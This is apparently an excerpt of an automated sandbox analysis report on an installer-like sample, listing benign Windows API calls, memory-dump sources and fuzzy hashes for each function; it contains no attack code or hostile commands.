                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: FileRead
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 2738559852-0
                                                                                                                                                                                                                • Opcode ID: e9757d328d643c7454ad56557c4d9905e5ed03d7027cc49797d163fdbd19fd89
                                                                                                                                                                                                                • Instruction ID: 6600978e9b0ccbf498a810640cc831596d613c388fbe18220f7993c6c269e9fc
                                                                                                                                                                                                                • Opcode Fuzzy Hash: e9757d328d643c7454ad56557c4d9905e5ed03d7027cc49797d163fdbd19fd89
                                                                                                                                                                                                                • Instruction Fuzzy Hash: FFE0EC75200208FFDB01CF91CD01FDE7BBEEB49754F208068EA0596160C7759A10EB54
                                                                                                                                                                                                                Function 0040C419 Relevance: 1.5, APIs: 1, Instructions: 14COMMONLIBRARYCODE
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,00000000,00000000,004058B4,?,00000000,00418818,00418818), ref: 0040C405
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ??3@
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 613200358-0
                                                                                                                                                                                                                • Opcode ID: 506673dd77341df6c5768a5f5f3ea4a77a33aa6e97ab1c6709151e78463dc1fd
                                                                                                                                                                                                                • Instruction ID: c4445dddb8df63c2b97e31c366ac33767061a7d55bbc9a7be8a678ca5c462557
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 506673dd77341df6c5768a5f5f3ea4a77a33aa6e97ab1c6709151e78463dc1fd
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 4ED05E72414B00CFD3246F11E40579377D0AB1033BF21CA5F905A158D1C7BDA481AA88
                                                                                                                                                                                                                Function 0040C030 Relevance: 1.5, APIs: 1, Instructions: 9timeCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • SetFileTime.KERNELBASE(?,?,?,?,0040C05A,00000000,00000000,?,004012AF,?), ref: 0040C03E
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: FileTime
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 1425588814-0
                                                                                                                                                                                                                • Opcode ID: c0e5e33048760219d2a04593f2bb40d099f123eabf13ff9ad38c69bb38ccd200
                                                                                                                                                                                                                • Instruction ID: ea010d3a690561246fe19a690d3fd65df6325dae63f8daef288d6a2187e6b862
                                                                                                                                                                                                                • Opcode Fuzzy Hash: c0e5e33048760219d2a04593f2bb40d099f123eabf13ff9ad38c69bb38ccd200
                                                                                                                                                                                                                • Instruction Fuzzy Hash: AEC04C3A158105FFCF020FB0CC04C1ABFA2AB99311F10C918B259C5070C7328024EB02
                                                                                                                                                                                                                Function 0040D0F9 Relevance: 1.3, APIs: 1, Instructions: 65COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • memmove.MSVCRT(?,?,00000001,?,?,?,?,?,?,0040D196,?,004099CD), ref: 0040D126
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: memmove
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 2162964266-0
                                                                                                                                                                                                                • Opcode ID: 629220965c6bd2db472e7962868e1e1f545117e5f950cd86d21845d398ffb971
                                                                                                                                                                                                                • Instruction ID: a4b432defa2f872f2e946a78cf9859ae6dceab650c9b954c79c80a890c02e361
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 629220965c6bd2db472e7962868e1e1f545117e5f950cd86d21845d398ffb971
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 3B21E471A00B009FC720CF9AC88485BF7FAFF88724764892EE09A97A50E774BD45CB54
                                                                                                                                                                                                                Function 0040CED6 Relevance: 1.3, APIs: 1, Instructions: 48COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • _CxxThrowException.MSVCRT(?,00415FFC), ref: 0040CF19
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ExceptionThrow
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 432778473-0
                                                                                                                                                                                                                • Opcode ID: c55205c91926b37fafed77e2ec1812a0d6aea0a5967d0921fad9188accd9e898
                                                                                                                                                                                                                • Instruction ID: 6a5d6d8d1e5a2607387ff05ecddc3380d06d5443c211f61aaf30d4f4d0e37a27
                                                                                                                                                                                                                • Opcode Fuzzy Hash: c55205c91926b37fafed77e2ec1812a0d6aea0a5967d0921fad9188accd9e898
                                                                                                                                                                                                                • Instruction Fuzzy Hash: EB017171501701EFDB28CF69C845A9BBBF8EF453107144A6EA482D3641D374FA46CB90
                                                                                                                                                                                                                Function 00403305 Relevance: 1.3, APIs: 1, Instructions: 17COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • ??2@YAPAXI@Z.MSVCRT(00000018,00000000,00404A21,?,?,?), ref: 0040330A
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ??2@
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 1033339047-0
                                                                                                                                                                                                                • Opcode ID: 7e063798c2ce49969361d9b7fe6375fdb1e7f17d00aa3dc22709233837362719
                                                                                                                                                                                                                • Instruction ID: 9ef6f0e2e02f5eae2298eed2354599e037224ec6dfed32698a6da5f5f3818d78
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 7e063798c2ce49969361d9b7fe6375fdb1e7f17d00aa3dc22709233837362719
                                                                                                                                                                                                                • Instruction Fuzzy Hash: E4D0A93570821016DA94A9720E42ABF09888F80361B00083FBC01F72C0EC7C8941429D
                                                                                                                                                                                                                Function 0040BE4B Relevance: 1.3, APIs: 1, Instructions: 16COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • CloseHandle.KERNELBASE(00418818,?,0040BF27,00000000,?,0040BF6F,00405C0F,80000000,?,?,?,0040BF91,?,00418818,00000003,00000080), ref: 0040BE56
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CloseHandle
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 2962429428-0
                                                                                                                                                                                                                • Opcode ID: d75d5fc0baf4f2939d0adfdd415025799ab6c32361fdd26dbcb1c09c5b554eea
                                                                                                                                                                                                                • Instruction ID: be21f2d7e2f065a1e4cf32b2320b5ecc72b3a54c58d665c0bd3e5472e34ca940
                                                                                                                                                                                                                • Opcode Fuzzy Hash: d75d5fc0baf4f2939d0adfdd415025799ab6c32361fdd26dbcb1c09c5b554eea
                                                                                                                                                                                                                • Instruction Fuzzy Hash: F9D0123160422146CE741E3CB8445D337D89E46374321476BF5B5E32F0D3748C8346D8
                                                                                                                                                                                                                Function 00402765 Relevance: 1.3, APIs: 1, Instructions: 12memoryCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004,0040CEBC,?,?,?,004096CF,?), ref: 00402781
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: AllocVirtual
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 4275171209-0
                                                                                                                                                                                                                • Opcode ID: c0747d2b54f00527e28e55407353a72f8354565475e3e521c76b3ccfb0f995d3
                                                                                                                                                                                                                • Instruction ID: c8419c84987ab9f9043192ec71a1da35683a063982673f1d4b03f9dfb55d97bf
                                                                                                                                                                                                                • Opcode Fuzzy Hash: c0747d2b54f00527e28e55407353a72f8354565475e3e521c76b3ccfb0f995d3
                                                                                                                                                                                                                • Instruction Fuzzy Hash: DAC08C302483007AEE1517A08F0BF4A3662AB88B1AF40C429F384A50E0D7F58400B60D
                                                                                                                                                                                                                Function 00409C90 Relevance: 1.3, APIs: 1, Instructions: 9COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • ??2@YAPAXI@Z.MSVCRT(000004E0), ref: 00409C95
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ??2@
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 1033339047-0
                                                                                                                                                                                                                • Opcode ID: 83a54637c296256a05e2a0d0a8e82b9a4bc8d8d3adf50e3c3c1cec969ea107b1
                                                                                                                                                                                                                • Instruction ID: ea384b15d4bd040a43aa109dc6cc612560b24450f9001ad89907231f94de706c
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 83a54637c296256a05e2a0d0a8e82b9a4bc8d8d3adf50e3c3c1cec969ea107b1
                                                                                                                                                                                                                • Instruction Fuzzy Hash: CFB09290B1C18202EA5014321E1226B00C007803C9F0408365903E82C3F999D850912A
                                                                                                                                                                                                                Function 00401D26 Relevance: 1.3, APIs: 1, Instructions: 7COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • VirtualFree.KERNELBASE(?,00000000,00008000,0040CE64,00000000,?,0040CEB3,?,?,004096CF,?), ref: 00401D38
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: FreeVirtual
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 1263568516-0
                                                                                                                                                                                                                • Opcode ID: 32a91dde98d5100741efe9c4c504ac7ef1165072957eb49c26da89f99dbc19d7
                                                                                                                                                                                                                • Instruction ID: 52e13e518f9be9114dfd9f0dcb33d46b5f51ce713fe3f05cd2c94b9e5c1fb23c
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 32a91dde98d5100741efe9c4c504ac7ef1165072957eb49c26da89f99dbc19d7
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 6DB09230244300BEEF214B00DE0DB4A77A1AB90B01F20C928B198241F097B86844DA09

                                                                                                                                                                                                                Non-executed Functions

                                                                                                                                                                                                                Function 0040388A Relevance: 38.8, APIs: 20, Strings: 2, Instructions: 290comCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • _wtol.MSVCRT ref: 004038AE
                                                                                                                                                                                                                • SHGetSpecialFolderPathW.SHELL32(00000000,?,?,00000000,004187E8,00000000,004187DC), ref: 00403951
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?), ref: 004039C2
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?), ref: 004039CA
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?), ref: 004039D2
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?), ref: 004039DA
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?), ref: 004039E2
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?), ref: 004039EA
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?), ref: 004039F2
                                                                                                                                                                                                                • _wtol.MSVCRT ref: 00403A48
                                                                                                                                                                                                                • CoCreateInstance.OLE32(00415E24,00000000,00000001,00415DE4,AW@,.lnk,?,0000005C), ref: 00403AE9
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,0000005C), ref: 00403B81
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,0000005C), ref: 00403B89
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,0000005C), ref: 00403B91
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,0000005C), ref: 00403B99
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,0000005C), ref: 00403BA1
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,0000005C), ref: 00403BA9
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,0000005C), ref: 00403BB1
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,0000005C), ref: 00403BB7
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,0000005C), ref: 00403BBF
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ??3@$_wtol$CreateFolderInstancePathSpecial
                                                                                                                                                                                                                • String ID: .lnk$AW@
                                                                                                                                                                                                                • API String ID: 408529070-3304780919
                                                                                                                                                                                                                • Opcode ID: 33a177fc728b9fb2766538f2a45a39d6c149278c2708d1387966b2df1fde6a94
                                                                                                                                                                                                                • Instruction ID: ac1975162933dc708b18ff6028a348059c12a5eb5a94371c916586bd2bb8d11a
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 33a177fc728b9fb2766538f2a45a39d6c149278c2708d1387966b2df1fde6a94
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 64A18F75810209ABDF14EFA1CD46DEEBB78FF54309F50442EF412B61A1DB78AA85CB18
                                                                                                                                                                                                                Function 004021B3 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 150stringCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetLastError.KERNEL32(00000000,00000020,-00000002), ref: 00402202
                                                                                                                                                                                                                • wsprintfW.USER32 ref: 00402213
                                                                                                                                                                                                                • GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 00402228
                                                                                                                                                                                                                • GetLastError.KERNEL32 ref: 0040222D
                                                                                                                                                                                                                • ??2@YAPAXI@Z.MSVCRT(00000000), ref: 00402248
                                                                                                                                                                                                                • GetEnvironmentVariableW.KERNEL32(?,00000000,00000004), ref: 0040225B
                                                                                                                                                                                                                • GetLastError.KERNEL32 ref: 00402262
                                                                                                                                                                                                                • lstrcmpiW.KERNEL32(00000000,00404955), ref: 00402277
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(00000000), ref: 00402287
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(00404955), ref: 004022A5
                                                                                                                                                                                                                • SetLastError.KERNEL32(?), ref: 004022AE
                                                                                                                                                                                                                • lstrlenA.KERNEL32(00415208), ref: 004022E2
                                                                                                                                                                                                                • ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004022FD
                                                                                                                                                                                                                • GetLocaleInfoW.KERNEL32(?,00001004,?,0000001F), ref: 0040232F
                                                                                                                                                                                                                • _wtol.MSVCRT ref: 00402340
                                                                                                                                                                                                                • MultiByteToWideChar.KERNEL32(00000000,00415208,00000001,00000000,00000002), ref: 00402360
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ErrorLast$??2@??3@EnvironmentVariable$ByteCharInfoLocaleMultiWide_wtollstrcmpilstrlenwsprintf
                                                                                                                                                                                                                • String ID: 7zSfxString%d
                                                                                                                                                                                                                • API String ID: 2117570002-3906403175
                                                                                                                                                                                                                • Opcode ID: 4d436d2356ec1d6afd67432b73a979a7ff3af9b986a46af683d9cf0246848532
                                                                                                                                                                                                                • Instruction ID: 3ab846e255d67cb18ffe3ad7b55f1665823b4c0101406b52f8400e9fffcfb60b
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 4d436d2356ec1d6afd67432b73a979a7ff3af9b986a46af683d9cf0246848532
                                                                                                                                                                                                                • Instruction Fuzzy Hash: B951D571A00208EFCB109FB4DD49ADA7BB8FB49300B11447FE506E72D0DB78A994CB28
                                                                                                                                                                                                                Function 00401DF5 Relevance: 26.3, APIs: 11, Strings: 4, Instructions: 85libraryloaderCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetModuleHandleW.KERNEL32(00000000), ref: 00401E00
                                                                                                                                                                                                                • FindResourceExA.KERNEL32(00000000,?,?,00000000), ref: 00401E1D
                                                                                                                                                                                                                • FindResourceExA.KERNEL32(00000000,?,?,00000409), ref: 00401E31
                                                                                                                                                                                                                • SizeofResource.KERNEL32(00000000,00000000), ref: 00401E42
                                                                                                                                                                                                                • LoadResource.KERNEL32(00000000,00000000), ref: 00401E4C
                                                                                                                                                                                                                • LockResource.KERNEL32(00000000), ref: 00401E57
                                                                                                                                                                                                                • LoadLibraryA.KERNEL32(kernel32,SetProcessPreferredUILanguages), ref: 00401E83
                                                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000), ref: 00401E8C
                                                                                                                                                                                                                • wsprintfW.USER32 ref: 00401EAB
                                                                                                                                                                                                                • LoadLibraryA.KERNEL32(kernel32,SetThreadPreferredUILanguages), ref: 00401EC0
                                                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000), ref: 00401EC3
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: Resource$Load$AddressFindLibraryProc$HandleLockModuleSizeofwsprintf
                                                                                                                                                                                                                • String ID: %04X%c%04X%c$SetProcessPreferredUILanguages$SetThreadPreferredUILanguages$kernel32
                                                                                                                                                                                                                • API String ID: 2639302590-365843014
                                                                                                                                                                                                                • Opcode ID: f3b181bdb1dd7712d2262e78495c99b7539d7d08376e29593b7b35a4ee752d35
                                                                                                                                                                                                                • Instruction ID: 0bae6d538d88249feec22e70dee6e974a297163e78d6f1732f828fb100938c5a
                                                                                                                                                                                                                • Opcode Fuzzy Hash: f3b181bdb1dd7712d2262e78495c99b7539d7d08376e29593b7b35a4ee752d35
                                                                                                                                                                                                                • Instruction Fuzzy Hash: E02151B5940308BBDB119BA5DC08FDF3AADEB84715F158036FA05A7291DB78D940CBA8
                                                                                                                                                                                                                Function 00408DD2 Relevance: 16.6, APIs: 11, Instructions: 96stringwindowCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • wvsprintfW.USER32(?,00000000,?), ref: 00408DF6
                                                                                                                                                                                                                • GetLastError.KERNEL32 ref: 00408E07
                                                                                                                                                                                                                • FormatMessageW.KERNEL32(00001100,00000000,00000000,?,?,00000000,00406BA8), ref: 00408E2F
                                                                                                                                                                                                                • FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,00406BA8), ref: 00408E44
